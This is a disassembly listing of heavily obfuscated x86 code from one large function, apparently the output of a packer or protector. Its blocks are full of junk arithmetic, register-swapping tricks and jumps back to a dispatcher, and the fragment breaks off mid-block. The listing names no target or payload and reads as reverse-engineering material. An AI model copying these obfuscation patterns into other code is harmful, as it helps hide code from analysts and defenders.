loc_5B7CA6:				; CODE XREF: sub_5A55E5+5448j
		mov	[esp+2Ah+var_2A], esi
		push	[esp+2Ah+var_26]
		pop	esi
		pop	[esp+2Ah+var_2A]
		mov	esp, [esp+26h+var_26]
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B7CB9:				; CODE XREF: sub_5A55E5+A60Dj
		mov	esi, [esp+22h+var_22]
		add	esp, 4


loc_5B7CBF:				; CODE XREF: sub_5A55E5+BF84j
					; sub_5A55E5+FD73j
		sub	esp, 4
		mov	[esp+22h+var_22], ecx
		jmp	loc_5AD0E4
; ---------------------------------------------------------------------------


loc_5B7CCA:				; CODE XREF: sub_5A55E5+A5CCj
		pop	eax
		sub	cl, 7Fh
		add	al, cl
		mov	ecx, [esp+22h+var_22]
		add	esp, 4
		add	al, bl
		push	edx
		mov	dh, 0D3h
		push	ecx
		mov	cl, 6Ah
		sub	cl, 78h
		sub	cl, 0D9h
		add	dh, cl
		pop	ecx
		push	ecx
		mov	cl, 2Fh
		push	dx
		mov	dl, 0BAh
		or	cl, dl
		pop	dx
		jmp	loc_5BA490
; ---------------------------------------------------------------------------


loc_5B7CFA:				; CODE XREF: sub_5A55E5+172CDj
		push	edx
		mov	edx, 58B83AA3h
		sub	edi, edx
		pop	edx
		jmp	loc_5B59DD
; ---------------------------------------------------------------------------


loc_5B7D08:				; CODE XREF: sub_5A55E5+CBE6j
		pop	ebp
		mov	ebx, ecx
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		or	ebx, 17837509h
		not	ebx
		push	0
		sub	[esp+10h+var_10], ebx
		pop	ebx
		push	1027h
		jmp	loc_5BD323
; ---------------------------------------------------------------------------


loc_5B7D2F:				; CODE XREF: sub_5A55E5+12B29j
		push	edi
		mov	edi, 0FC5A0ED5h
		sub	edx, edi
		push	[esp+14h+var_14]
		jmp	loc_5AC1EA
; ---------------------------------------------------------------------------


loc_5B7D3F:				; CODE XREF: sub_5A55E5+86EBj
		mov	[esp+0Eh+var_10+2], edi
		mov	edi, 4
		add	ebp, 62D5447Dh
		sub	esp, 4
		jmp	loc_5B97AB
; ---------------------------------------------------------------------------


loc_5B7D55:				; CODE XREF: sub_5A55E5+19620j
		add	ebx, 4
		jmp	loc_5B9BB1
; ---------------------------------------------------------------------------


loc_5B7D60:				; CODE XREF: sub_5A55E5+6724j
		xor	eax, ecx
		push	4924h
		mov	[esp+18h+var_18], eax
		push	3F74h
		mov	[esp+1Ch+var_1C], edx
		pop	eax
		push	[esp+18h+var_18]
		jmp	loc_5BDA11
; ---------------------------------------------------------------------------


loc_5B7D7B:				; CODE XREF: sub_5A55E5+6FE0j
		push	dx
		jmp	loc_5BEEE8
; ---------------------------------------------------------------------------


loc_5B7D82:				; CODE XREF: sub_5A55E5+9229j
		sub	edx, 7D507523h
		sub	esp, 4
		jmp	loc_5BF2C1
; ---------------------------------------------------------------------------


loc_5B7D93:				; CODE XREF: sub_5A55E5+D40Bj
		mov	eax, 2
		add	edx, eax
		pop	eax
		xor	edx, [esp+24h+var_26+2]
		xor	[esp+24h+var_26+2], edx
		xor	edx, [esp+24h+var_26+2]
		mov	esp, [esp+24h+var_26+2]
		mov	ax, word ptr [esp+24h+var_26+2]
		push	39FFh
		mov	[esp+28h+var_2A+2], edx
		mov	edx, esp
		add	edx, 4
		push	1592h
		mov	[esp+2Ch+var_2E+2], esi
		mov	esi, 7BEC5810h
		jmp	loc_5AD93A
; ---------------------------------------------------------------------------


loc_5B7DCD:				; CODE XREF: sub_5A55E5+9238j
		mov	ebp, [esp+4Eh+var_50+2]
		jmp	loc_5AE7DD
; ---------------------------------------------------------------------------


loc_5B7DD5:				; CODE XREF: sub_5A55E5+12438j
		add	ebp, ecx
		sub	ebp, 3E1D12E6h
		mov	ecx, [esp+1Ah+var_1C+2]
		jmp	loc_5B298D
; ---------------------------------------------------------------------------


loc_5B7DE5:				; CODE XREF: sub_5A55E5+16403j
		inc	word ptr [esp+1Ah+var_1C+2]
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B7DEF:				; DATA XREF: sub_5A55E5+43ABo
		lodsb
		xor	al, bl
		push	74B6h
		mov	[esp+18h+var_18], edx
		mov	dh, 9Bh
		shl	dh, 6
		push	cx
		push	7686h
		mov	[esp+0], edx
		jmp	loc_5BA344
; ---------------------------------------------------------------------------


loc_5B7E0E:				; CODE XREF: sub_5A55E5+4699j
		neg	dl
		jmp	loc_5AC848
; ---------------------------------------------------------------------------


loc_5B7E15:				; CODE XREF: sub_5A55E5+7AFAj
		xor	[esp+8+var_8], eax
		xor	eax, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		mov	word ptr [esp+8+var_8],	dx
		push	ax
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B7E2A:				; CODE XREF: sub_5A55E5+C441j
		push	[esp+3Eh+var_3A]
		pop	ebx
		pop	[esp+3Eh+var_3E]
		mov	esp, [esp+3Ah+var_3A]
		jmp	loc_5B2C89
; ---------------------------------------------------------------------------


loc_5B7E3A:				; CODE XREF: sub_5A55E5+1571Aj
		push	[esp+3Ah+var_36]
		pop	ecx
		pop	[esp+3Ah+var_3A]
		mov	esp, [esp+36h+var_36]
		mov	word ptr [esp+36h+var_36], ax
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B7E4E:				; CODE XREF: sub_5A55E5+7D17j
		pop	eax
		push	34E0h
		mov	[esp+24h+var_26+2], eax
		push	edi
		mov	edi, 3871261Bh
		push	ebx
		mov	ebx, 0C8AEC98Dh
		sub	edi, ebx
		jmp	loc_5B8F84
; ---------------------------------------------------------------------------


loc_5B7E6A:				; CODE XREF: sub_5A55E5+18FB8j
		mov	eax, 37945DFFh
		xor	ebx, eax
		pop	eax
		push	edx
		mov	edx, 0D5122AF0h
		sub	ebx, 684F5089h
		add	ebx, 4225683Ch
		add	ebx, edx
		jmp	loc_5B723F
; ---------------------------------------------------------------------------


loc_5B7E8B:				; CODE XREF: sub_5A55E5+F3AEj
		mov	[esp+24h+var_26+2], esi
		xor	[esp+24h+var_26+2], 636915E5h
		mov	eax, [esp+24h+var_26+2]
		add	esp, 4
		xor	eax, 636915E5h
		push	[esp+20h+var_22+2]
		jmp	loc_5BB612
; ---------------------------------------------------------------------------


loc_5B7EAB:				; CODE XREF: sub_5A55E5+80B3j
		pop	ecx
		jmp	loc_5B016F
; ---------------------------------------------------------------------------


loc_5B7EB1:				; CODE XREF: sub_5A55E5+1212Bj
		pop	ebx
		sub	al, 0B4h
		sub	al, 0E1h
		push	cx
		mov	cl, 87h
		add	al, cl
		pop	cx
		add	al, dl
		sub	al, 87h
		jmp	loc_5B3824
; ---------------------------------------------------------------------------


loc_5B7EC7:				; CODE XREF: sub_5A55E5+93FAj
		mov	ebp, esi
		jmp	loc_5AC17C
; ---------------------------------------------------------------------------


loc_5B7ECE:				; CODE XREF: sub_5A55E5+E5C0j
		add	eax, edx
		sub	eax, 0A034D0Bh
		mov	edx, [esp+2Ch+var_2E+2]
		add	esp, 4
		jmp	loc_5AB0E4
; ---------------------------------------------------------------------------


loc_5B7EE3:				; CODE XREF: sub_5A55E5+14969j
		add	edi, 4
		add	edi, 2
		xchg	edi, [esp+28h+var_2A+2]
		pop	esp
		push	ecx
		jmp	loc_5AD4DE
; ---------------------------------------------------------------------------


loc_5B7EF6:				; CODE XREF: sub_5A55E5+1301Cj
		xor	edi, [esp+28h+var_2A+2]
		xor	[esp+28h+var_2A+2], edi
		xor	edi, [esp+28h+var_2A+2]
		mov	esp, [esp+28h+var_2A+2]
		mov	word ptr [esp+28h+var_2A+2], ax
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B7F0B:				; DATA XREF: sub_5A55E5+41FFo
		mov	cx, word ptr [esp+10h+var_10]
		sub	esp, 4
		mov	[esp+14h+var_14], edi
		sub	esp, 4
		mov	[esp+18h+var_18], esp
		jmp	loc_5B6DBE
; ---------------------------------------------------------------------------


loc_5B7F23:				; CODE XREF: sub_5A55E5+15797j
		sub	al, 0Bh
		jmp	loc_5BCBC1
; ---------------------------------------------------------------------------


loc_5B7F2A:				; CODE XREF: sub_5A55E5+E378j
		mov	edx, esp
		jmp	loc_5B0326
; ---------------------------------------------------------------------------


loc_5B7F31:				; CODE XREF: sub_5A55E5+9917j
		push	esi
		mov	esi, 2B3E0044h
		add	ebx, esi
		pop	esi
		jmp	loc_5BD28D
; ---------------------------------------------------------------------------


loc_5B7F3F:				; CODE XREF: sub_5A55E5+75A6j
		xor	eax, ebx
		sub	esp, 4
		mov	[esp+14h+var_14], ebp
		jmp	loc_5B5809
; ---------------------------------------------------------------------------


loc_5B7F4C:				; CODE XREF: sub_5A55E5+102CAj
		push	ebp
		mov	ebp, esp
		jmp	loc_5B7729
; ---------------------------------------------------------------------------


loc_5B7F54:				; CODE XREF: sub_5A55E5+6E06j
		sub	esi, 3B065BBh
		add	esi, 7E6D3A3Eh
		add	esi, 80322BAh
		jmp	loc_5B4228
; ---------------------------------------------------------------------------


loc_5B7F6B:				; CODE XREF: sub_5A55E5+B6E4j
		push	ecx
		push	ebp
		mov	ebp, 62B43EB2h
		sub	ebp, 76AA1FB6h
		jmp	loc_5AFFF3
; ---------------------------------------------------------------------------


loc_5B7F7D:				; CODE XREF: sub_5A55E5+18953j
		add	eax, 2C811C07h
		add	eax, 356664F4h
		push	[esp+38h+var_3A+2]
		jmp	loc_5B2B38
; ---------------------------------------------------------------------------


loc_5B7F8F:				; CODE XREF: sub_5A55E5+4855j
		xor	eax, ecx
		xor	ecx, ebp
		xor	ebp, ecx
		xor	ecx, ebp
		not	ebp
		push	ecx
		push	ebp
		pop	ecx
		pop	ebp
		jmp	loc_5AB3A4
; ---------------------------------------------------------------------------


loc_5B7FA2:				; CODE XREF: sub_5A55E5+18875j
		sub	esi, ebp
		jmp	loc_5B36CD
; ---------------------------------------------------------------------------


loc_5B7FA9:				; CODE XREF: sub_5A55E5+106D8j
		and	eax, edi
		push	[esp+56h+var_58+2]
		pop	edi
		add	esp, 4
		or	edx, eax
		jmp	loc_5BDDF0
; ---------------------------------------------------------------------------


loc_5B7FBC:				; CODE XREF: sub_5A55E5+13A48j
		or	ebx, 76D364C1h
		jmp	loc_5BC50F
; ---------------------------------------------------------------------------


loc_5B7FC7:				; CODE XREF: sub_5A55E5+11A2Cj
		add	esi, ebp
		mov	ebp, [esp+1Ch+var_1C]
		add	esp, 4
		push	ebx
		mov	ebx, 0
		push	esi
		mov	esi, 7F983A78h
		shr	esi, 5
		sub	esi, 8DA68ED1h
		add	ebx, esi
		pop	esi
		sub	ebx, esi
		sub	ebx, 76563302h
		push	ebx
		add	[esp+20h+var_22+2], 782113C6h
		pop	esi
		sub	esi, 782113C6h
		mov	ebx, [esp+1Ch+var_1C]
		add	esp, 4
		push	edx
		mov	edx, 0
		add	edx, 13D86277h
		jmp	loc_5B4450
; ---------------------------------------------------------------------------


loc_5B8018:				; CODE XREF: sub_5A55E5+506Dj
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B801D:				; CODE XREF: sub_5A55E5+BD16j
		add	edi, ebx
		sub	edi, 19D05585h
		pop	ebx
		shr	edi, 4
		xor	edi, 63206EFh
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp+1Ch+var_1C]
		mov	esp, [esp+1Ch+var_1C]
		xor	ecx, 26F1540Eh
		pop	ebx
		push	355Ch
		jmp	loc_5B57E8
; ---------------------------------------------------------------------------


loc_5B8049:				; CODE XREF: sub_5A55E5+866Bj
		pop	ebp
		pop	eax
		add	edi, ebp
		jmp	loc_5BE670
; ---------------------------------------------------------------------------


loc_5B8052:				; CODE XREF: sub_5A55E5+133C9j
		mov	edx, 1EB03EE9h
		or	edx, 4ACC2D6Ch
		neg	edx
		neg	edx
		shl	edx, 5
		sub	edx, 9722EE39h
		mov	eax, edx
		pop	edx
		jmp	loc_5BCD4A
; ---------------------------------------------------------------------------


loc_5B8072:				; CODE XREF: sub_5A55E5+EC0Aj
		xor	eax, 34627C1Ch
		sub	eax, 32DAB3E0h
		jmp	loc_5B09BA
; ---------------------------------------------------------------------------


loc_5B8081:				; CODE XREF: sub_5A55E5+1058Ej
		xor	edx, [esp+22h+var_22]
		pop	esp
		pop	dword ptr [esp+0]
		pop	esp
		mov	cx, word ptr [esp+16h+var_18+2]
		push	289Bh
		mov	[esp+1Ah+var_1C+2], edx
		jmp	loc_5B8BC7
; ---------------------------------------------------------------------------


loc_5B809A:				; CODE XREF: sub_5A55E5+4FCEj
		mov	ebx, esp
		jmp	loc_5BE400
; ---------------------------------------------------------------------------


loc_5B80A1:				; CODE XREF: sub_5A55E5+BFA5j
		pop	ecx
		push	ebx
		mov	bl, 0F2h
		push	edx
		mov	dh, bl
		mov	al, dh
		pop	edx
		pop	ebx
		add	al, bl
		pop	ebx
		jmp	loc_5BACA6
; ---------------------------------------------------------------------------


loc_5B80B4:				; CODE XREF: sub_5A55E5+BADEj
		push	[esp+10h+var_C]
		pop	esi
		pop	[esp+10h+var_10]
		mov	esp, [esp+0Ch+var_C]
		or	[esp+0Ch+var_C], eax
		pushf
		jmp	loc_5BD95C
; ---------------------------------------------------------------------------


loc_5B80C8:				; CODE XREF: sub_5A55E5+A982j
		add	esp, 4
		and	ebx, 630C6206h
		push	ecx
		mov	ecx, 6FBA433Dh
		xchg	ebx, ecx
		jmp	loc_5AC74C
; ---------------------------------------------------------------------------


loc_5B80E1:				; CODE XREF: sub_5A55E5+4F1Bj
		pop	ebx
		jmp	loc_5B2D69
; ---------------------------------------------------------------------------


loc_5B80E7:				; CODE XREF: sub_5A55E5+6E14j
		shl	eax, 1
		xchg	eax, esi
		xchg	ebx, esi
		not	ebx
		xchg	ebx, esi
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		push	edx
		mov	edx, 1773EF57h
		add	eax, edx
		pop	edx
		push	eax
		push	esi
		push	edx
		push	35BF12B4h
		pop	edx
		or	edx, 55D363C7h
		jmp	loc_5B7D2F
; ---------------------------------------------------------------------------


loc_5B8113:				; CODE XREF: sub_5A55E5+DB9Aj
		pop	edi
		and	edx, 6DB41C43h
		jmp	loc_5B3DA5
; ---------------------------------------------------------------------------


loc_5B811F:				; CODE XREF: sub_5A55E5+1997Fj
		mov	esp, [esp+3Ch+var_3E+2]
		push	dword ptr [edi+eax*4]
		push	3DB9h
		mov	[esp+44h+var_46+2], esi
		mov	esi, 876397Dh
		xor	[esp+44h+var_42+2], esi
		pop	esi
		mov	eax, [esp+40h+var_42+2]
		add	esp, 4
		push	1BBh
		mov	[esp+40h+var_42+2], ebx
		push	esi
		push	5E29030Ch
		mov	esi, [esp+48h+var_4A+2]
		jmp	loc_5AF033
; ---------------------------------------------------------------------------


loc_5B8156:				; CODE XREF: sub_5A55E5+112C3j
		add	esp, 4
		jmp	loc_5AA9E2
; ---------------------------------------------------------------------------


loc_5B815E:				; CODE XREF: sub_5A55E5+16E08j
		pop	esi
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		sub	esp, 4
		mov	[esp+24h+var_26+2], ebx
		mov	ebx, 4
		add	esi, ebx
		push	[esp+24h+var_26+2]
		pop	ebx
		add	esp, 4
		sub	esp, 4
		mov	[esp+24h+var_26+2], esi
		push	[esp+24h+var_22+2]
		pop	esi
		pop	[esp+24h+var_26+2]
		jmp	loc_5B6F93
; ---------------------------------------------------------------------------


loc_5B8195:				; CODE XREF: sub_5A55E5+AF9Fj
		pop	esi
		jmp	loc_5BB967
; ---------------------------------------------------------------------------


loc_5B819B:				; CODE XREF: sub_5A55E5+765Aj
		add	edx, eax
		sub	edx, 68D63E8Bh
		push	169Eh
		mov	[esp+0], esi
		mov	esi, 167044A3h
		xor	esi, 770108D7h
		add	edx, esi
		pop	esi
		push	ebp
		mov	ebp, 0BF552BBh
		jmp	loc_5B15DD
; ---------------------------------------------------------------------------


loc_5B81C4:				; CODE XREF: sub_5A55E5+5E4Ej
		add	ebx, edi
		push	edi
		jmp	loc_5BF068
; ---------------------------------------------------------------------------


loc_5B81CC:				; CODE XREF: sub_5A55E5+16C61j
		push	584Fh
		jmp	loc_5AE7EB
; ---------------------------------------------------------------------------


loc_5B81D6:				; CODE XREF: sub_5A55E5+175A4j
		sub	ebp, ebx
		pop	ebx
		add	ebp, 1B633BF3h
		add	ebp, edx
		sub	ebp, 1B633BF3h
		push	ebx
		push	0BEC2460h
		push	[esp+30h+var_32+2]
		mov	ebx, [esp+34h+var_36+2]
		jmp	loc_5ABA0F
; ---------------------------------------------------------------------------


loc_5B81F8:				; CODE XREF: sub_5A55E5+18897j
		push	edx
		push	4C5A4C1Eh
		pop	edx
		inc	edx
		shl	edx, 6
		push	esi
		mov	esi, 3767F62h
		xor	esi, 3C165028h
		sub	edx, 5B325904h
		sub	edx, esi
		add	edx, 5B325904h
		mov	esi, [esp+3Ch+var_3E+2]
		add	esp, 4
		mov	ecx, edx
		pop	edx
		jmp	loc_5BF3E9
; ---------------------------------------------------------------------------


loc_5B822E:				; CODE XREF: sub_5A55E5+CABAj
		inc	ebx
		not	ebx
		push	0
		sub	[esp+10h+var_10], ebx
		pop	ebx
		sub	ebx, 3C5A2B6Eh
		xor	eax, ebx
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		add	edi, 2A8E676Bh
		add	edi, eax
		sub	edi, 2A8E676Bh
		pop	eax
		push	7C07h
		jmp	loc_5B64B0
; ---------------------------------------------------------------------------


loc_5B8264:				; CODE XREF: sub_5A55E5+117FCj
		add	edi, ecx
		jmp	loc_5AC1BB
; ---------------------------------------------------------------------------


loc_5B826B:				; CODE XREF: sub_5A55E5+AB5Cj
		add	esp, 4
		jmp	loc_5A9ABD
; ---------------------------------------------------------------------------


loc_5B8276:				; CODE XREF: sub_5A55E5+CCB4j
		mov	esi, 0BA327ED1h
		xor	edx, esi
		pop	esi
		add	eax, edx
		mov	edx, [esp+1Ah+var_1C+2]
		add	esp, 4
		add	eax, ebp
		pop	ebp
		shl	eax, cl
		push	ebx
		jmp	loc_5BE1F7
; ---------------------------------------------------------------------------


loc_5B8291:				; CODE XREF: sub_5A55E5+CD13j
		mov	eax, 4
		jmp	loc_5B6CD3
; ---------------------------------------------------------------------------


loc_5B829B:				; CODE XREF: sub_5A55E5+ABC5j
		sub	ecx, edx
		jmp	loc_5AB090
; ---------------------------------------------------------------------------


loc_5B82A2:				; CODE XREF: sub_5A55E5+1207Ej
		dec	ebx
		sub	ebx, 6EC012A0h
		add	ebx, 2615DAAh
		add	ebx, 0BBF8028Bh
		mov	edx, ebx
		jmp	loc_5BE85B
; ---------------------------------------------------------------------------


loc_5B82BC:				; CODE XREF: sub_5A55E5+F0AFj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+5Ah+var_5C+2]
		pop	esp
		push	eax
		jmp	loc_5B5188
; ---------------------------------------------------------------------------


loc_5B82CF:				; CODE XREF: sub_5A55E5+15DBBj
		push	ecx
		mov	ecx, 4
		mov	edi, ecx
		pop	ecx
		and	ecx, edi
		jmp	loc_5BC28B
; ---------------------------------------------------------------------------


loc_5B82DF:				; CODE XREF: sub_5A55E5+E55Fj
		mov	edi, 79C03D8h
		jmp	loc_5BC805
; ---------------------------------------------------------------------------


loc_5B82E9:				; CODE XREF: sub_5A55E5+14275j
		add	edi, 78AF074Bh
		sub	edi, esi
		jmp	loc_5B69E5
; ---------------------------------------------------------------------------


loc_5B82F6:				; CODE XREF: sub_5A55E5+18444j
		pop	edx
		push	258Eh
		mov	[esp+0Ch+var_C], eax
		mov	al, 14h
		add	bl, al
		pop	eax
		jmp	loc_5AB1E5
; ---------------------------------------------------------------------------


loc_5B8309:				; CODE XREF: sub_5A55E5+67F1j
		mov	word ptr [esp+1Ah+var_1C+2], ax
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B8312:				; CODE XREF: sub_5A55E5+19BADj
		or	edx, 23295889h
		not	edx
		neg	edx
		xor	edx, 0CE82041h
		jmp	loc_5BB4D1
; ---------------------------------------------------------------------------


loc_5B8327:				; CODE XREF: sub_5A55E5+96BAj
		mov	edx, [esp+40h+var_42+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+44h+var_46+2]
		pop	esp
		pop	[esp+40h+var_42+2]
		push	ebx
		push	esi
		mov	esi, 4
		mov	ebx, esi
		pop	esi
		jmp	loc_5B6F43
; ---------------------------------------------------------------------------


loc_5B834C:				; CODE XREF: sub_5A55E5+6B98j
		mov	eax, ebp
		mov	ebp, [esp+8Ah+var_8C+2]
		add	esp, 4
		push	7791h
		mov	[esp+8Ah+var_8C+2], ecx
		mov	ecx, 5F4302C0h
		sub	[esp+8Ah+var_84+2], ecx
		pop	ecx
		add	[esp+86h+var_84+2], eax
		push	edi
		mov	edi, 5F4302C0h
		push	ebx
		jmp	loc_5BAE0B
; ---------------------------------------------------------------------------


loc_5B8376:				; CODE XREF: sub_5A55E5+E1D4j
		mov	ebx, 0
		sub	ebx, ebp
		mov	ebp, ebx
		pop	ebx
		add	ebp, 83FFEE40h
		jmp	loc_5BC41E
; ---------------------------------------------------------------------------


loc_5B838B:				; CODE XREF: sub_5A55E5+10333j
		mov	[esp+38h+var_3A+2], eax
		mov	eax, 2
		jmp	loc_5B2D5E
; ---------------------------------------------------------------------------


loc_5B8398:				; CODE XREF: sub_5A55E5+1588Aj
		pop	ebx
		add	ebx, ecx
		pop	ecx
		xchg	ebx, [esp+30h+var_32+2]
		pop	esp
		jmp	loc_5B3055
; ---------------------------------------------------------------------------


loc_5B83A5:				; CODE XREF: sub_5A55E5+14509j
		sub	eax, edx
		pop	edx
		and	eax, 1721337Bh
		neg	eax
		sub	eax, 0EABD6678h
		mov	esi, eax
		pop	eax
		push	ecx
		mov	ecx, 679B59A1h
		jmp	loc_5B0216
; ---------------------------------------------------------------------------


loc_5B83C2:				; CODE XREF: sub_5A55E5+17C2Bj
		sub	eax, 288180Ch
		add	esi, 64031AD8h
		add	esi, eax
		push	edx
		jmp	loc_5B387C
; ---------------------------------------------------------------------------


loc_5B83D5:				; CODE XREF: sub_5A55E5+17F58j
		push	[esp+2Ch+var_2E+2]
		pop	edx
		add	esp, 4
		sub	esp, 4
		jmp	loc_5BCD2E
; ---------------------------------------------------------------------------


loc_5B83E7:				; CODE XREF: sub_5A55E5+4C4Ej
		pop	ecx
		sub	bl, al
		sub	bl, 0F4h
		jmp	loc_5AD898
; ---------------------------------------------------------------------------


loc_5B83F2:				; CODE XREF: sub_5A55E5+15117j
		pop	ecx
		sub	esp, 4
		mov	[esp+1Ch+var_1C], ebp
		push	65DBh
		mov	[esp+20h+var_22+2], esp
		jmp	loc_5B0362
; ---------------------------------------------------------------------------


loc_5B8409:				; CODE XREF: sub_5A55E5+CD54j
		add	esp, 4
		std
		push	edi
		push	eax
		mov	eax, 53803A92h
		jmp	loc_5BCB8E
; ---------------------------------------------------------------------------


loc_5B841C:				; CODE XREF: sub_5A55E5+187E6j
		pop	eax
		jmp	loc_5AF815
; ---------------------------------------------------------------------------


loc_5B8422:				; CODE XREF: sub_5A55E5+D91Fj
		xchg	edx, [esp+0]
		pop	esp
		mov	[esp+1Ah+var_1C+2], eax
		push	1CD3h
		mov	[esp+0], edx
		push	5CFCh
		mov	[esp+22h+var_22], ebx
		jmp	loc_5BE0A3
; ---------------------------------------------------------------------------


loc_5B843E:				; CODE XREF: sub_5A55E5+5C54j
		add	ebp, 2DC2F73Eh
		sub	eax, ebp
		mov	ebp, [esp+1Ah+var_1C+2]
		jmp	loc_5BDF79
; ---------------------------------------------------------------------------


loc_5B844E:				; CODE XREF: sub_5A55E5+16926j
		and	eax, esi
		mov	esi, [esp+1Ah+var_1C+2]
		add	esp, 4
		sub	eax, 1AAA28CDh
		mov	esi, eax
		push	[esp+16h+var_18+2]
		pop	eax
		jmp	loc_5BED49
; ---------------------------------------------------------------------------


loc_5B8466:				; CODE XREF: sub_5A55E5+A61Dj
		add	ecx, 4
		xor	ecx, [esp+22h+var_22]
		xor	[esp+22h+var_22], ecx
		xor	ecx, [esp+22h+var_22]
		pop	esp
		push	38F6h
		jmp	loc_5B7B1F
; ---------------------------------------------------------------------------


loc_5B847D:				; CODE XREF: sub_5A55E5+BD38j
		push	0E1Fh
		mov	[esp+4Eh+var_50+2], eax
		push	ebp
		jmp	loc_5AEC65
; ---------------------------------------------------------------------------


loc_5B848B:				; CODE XREF: sub_5A55E5+8DFEj
		add	eax, esi
		mov	esi, [esp+1Ch+var_1C]
		add	esp, 4
		push	ecx
		mov	ecx, 7B8C53BBh
		push	edx
		mov	edx, 6C4A3434h
		add	edx, 7700D07h
		dec	edx
		shr	edx, 3
		xor	edx, 0A5DA6D6h
		add	ecx, edx
		pop	edx
		sub	eax, ecx
		jmp	loc_5B4A4E
; ---------------------------------------------------------------------------


loc_5B84BC:				; DATA XREF: sub_5A55E5+4243o
		push	[esp+14h+var_14]
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+18h+var_18]
		pop	esp
		mov	[esp+14h+var_14], ecx
		jmp	loc_5B79BE
; ---------------------------------------------------------------------------


loc_5B84D8:				; CODE XREF: sub_5A55E5+10A74j
		mov	[esp+20h+var_22+2], edx
		sub	[esp+20h+var_22+2], 18FA29B3h
		pop	ebp
		push	eax
		mov	eax, 5468189Dh
		jmp	loc_5B3B05
; ---------------------------------------------------------------------------


loc_5B84EE:				; CODE XREF: sub_5A55E5+13515j
		push	small 2335h
		mov	word ptr [esp+22h+var_22], dx
		jmp	loc_5B9B4F
; ---------------------------------------------------------------------------


loc_5B84FB:				; CODE XREF: sub_5A55E5+60D4j
		shr	esi, 3
		add	esi, 6FACF789h
		mov	eax, esi
		pop	esi
		jmp	loc_5BF181
; ---------------------------------------------------------------------------


loc_5B850C:				; CODE XREF: sub_5A55E5+6CF4j
		mov	[esp+10h+var_10], esi
		mov	esi, 582F1735h
		mov	eax, esi
		pop	esi
		jmp	loc_5BAEB7
; ---------------------------------------------------------------------------


loc_5B851C:				; CODE XREF: sub_5A55E5+6E4Cj
		push	1131h
		mov	[esp+28h+var_2A+2], edx
		push	esp
		pop	edx
		push	eax
		jmp	loc_5BC713
; ---------------------------------------------------------------------------


loc_5B852C:				; CODE XREF: sub_5A55E5+9D14j
		pop	ebx
		mov	edx, ecx
		pop	ecx
		add	edx, eax
		sub	esp, 4
		mov	[esp+1Ch+var_1C], ebx
		mov	ebx, ecx
		mov	[edx], ebx
		push	[esp+1Ch+var_1C]
		pop	ebx
		jmp	loc_5A9E5C
; ---------------------------------------------------------------------------


loc_5B8548:				; CODE XREF: sub_5A55E5+1572Ej
		push	eax
		mov	eax, 8382A319h
		sub	ecx, 4D273008h
		add	ecx, eax
		add	ecx, 4D273008h
		pop	eax
		add	ebx, ecx
		pop	ecx
		xor	ebx, [esp+18h+var_18]
		xor	[esp+18h+var_18], ebx
		xor	ebx, [esp+18h+var_18]
		jmp	loc_5AD689
; ---------------------------------------------------------------------------


loc_5B856E:				; CODE XREF: sub_5A55E5+A369j
		push	ebp
		jmp	loc_5B64D5
; ---------------------------------------------------------------------------


loc_5B8574:				; CODE XREF: sub_5A55E5+1706Aj
		pop	eax
		pop	ebx
		or	[edi+1Ch], edx
		push	[esp+40h+var_42+2]
		pop	edx
		jmp	loc_5BB930
; ---------------------------------------------------------------------------


loc_5B8582:				; CODE XREF: sub_5A55E5+11F40j
		mov	[esp+14h+var_14], ecx
		mov	ecx, edx
		mov	edi, ecx
		push	[esp+14h+var_14]
		pop	ecx
		jmp	loc_5B74CB
; ---------------------------------------------------------------------------


loc_5B8592:				; CODE XREF: sub_5A55E5+6975j
		add	eax, ebx
		sub	eax, 29930461h
		add	dword ptr [eax], 1
		pop	eax
		push	[esp+18h+var_18]
		pop	ebx
		jmp	loc_5B12D5
; ---------------------------------------------------------------------------


loc_5B85A9:				; CODE XREF: sub_5A55E5+FBC1j
		mov	[esp+28h+var_2A+2], ebx
		jmp	loc_5B0391
; ---------------------------------------------------------------------------


loc_5B85B1:				; CODE XREF: sub_5A55E5+61E2j
		xor	ecx, 1B263E71h
		dec	ecx
		xor	ecx, 727B76FBh
		shr	ecx, 3
		sub	ecx, 158A1243h
		sub	eax, 3175325h
		add	eax, ecx
		add	eax, 3175325h
		pop	ecx
		push	eax
		push	[esp+58h+var_54]
		pop	eax
		pop	[esp+58h+var_58]
		pop	esp
		push	2EA4h
		mov	[esp+54h+var_54], ecx
		push	eax
		mov	al, 0BAh
		jmp	loc_5B921B
; ---------------------------------------------------------------------------


loc_5B85EE:				; CODE XREF: sub_5A55E5+1306Fj
		add	[esp+58h+var_58], 4
		pop	edi
		jmp	loc_5AADB6
; ---------------------------------------------------------------------------


loc_5B85FB:				; CODE XREF: sub_5A55E5+113D7j
		add	esp, 4
		jmp	loc_5B7EF6
; ---------------------------------------------------------------------------


loc_5B8606:				; CODE XREF: sub_5A55E5+E2F2j
		push	edx
		mov	edx, esp
		jmp	loc_5B2EFB
; ---------------------------------------------------------------------------


loc_5B860E:				; CODE XREF: sub_5A55E5+1619Cj
		push	eax
		jmp	loc_5ABF37
; ---------------------------------------------------------------------------


loc_5B8614:				; CODE XREF: sub_5A55E5+D1EFj
		mov	[esp+1Ch+var_1C], edi
		push	4E2Dh
		mov	[esp+20h+var_22+2], esi
		mov	esi, 2
		jmp	loc_5AAFF6
; ---------------------------------------------------------------------------


loc_5B8629:				; CODE XREF: sub_5A55E5+15EDAj
		mov	[esp+20h+var_22+2], edx
		mov	edx, 61BD54CCh
		sub	[esp+20h+var_1C], edx
		pop	edx
		push	eax
		push	ecx
		mov	ecx, 4D356BD0h
		mov	eax, ecx
